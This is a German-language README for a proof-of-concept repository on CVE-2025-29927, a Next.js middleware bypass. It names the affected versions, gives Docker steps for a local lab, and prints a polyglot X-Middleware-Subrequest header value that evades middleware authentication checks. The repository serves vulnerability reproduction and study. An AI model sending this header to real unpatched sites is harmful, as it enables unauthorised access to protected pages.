CVE-2025-29927: Next.js Middleware Bypass Schwachstelle PoC

Dieses Repository demonstriert die CVE-2025-29927 Schwachstelle in Next.js, bei der der interne Header x-middleware-subrequest verwendet werden kann, um Middleware-Prüfungen wie Authentifizierung zu umgehen.

Betroffene Versionen

• Next.js 15.x < 15.2.3
• Next.js 14.x < 14.2.25
• Next.js 13.x < 13.5.9

Schritte zur Reproduktion

1. Repository klonen:

git clone https://github.com/alihussainzada/CVE-2025-29927-PoC.git

2. In das Projektverzeichnis navigieren:

cd CVE-2025-29927-PoC

3. Ein Geheimnis generieren:

openssl rand -base64 32

4. Das Geheimnis in der .env-Datei aktualisieren:

NEXTAUTH_SECRET=your_generated_secret

5. Mit Docker bauen und ausführen:

docker build -t nextjs .
docker run -p 3000:3000 --env-file .env nextjs

Proof of Concept

Wir können die Ausnutzung dieses Problems erheblich vereinfachen, indem wir einen Polyglot verwenden, der es uns ermöglicht, die verschiedenen möglichen Fälle effektiv abzudecken. Dies gelang uns mit dem folgenden HTTP-Header, der verwendet wird, um das Vorhandensein einer Authentifizierungsumgehung zu prüfen:

X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware

Credits/Quellen

• Next.js Blog zu CVE-2025-29927
• Zhero Web Security Research: Next.js and the Corrupt Middleware
• Assetnote Security Research: Analyzing the Next.js Middleware Bypass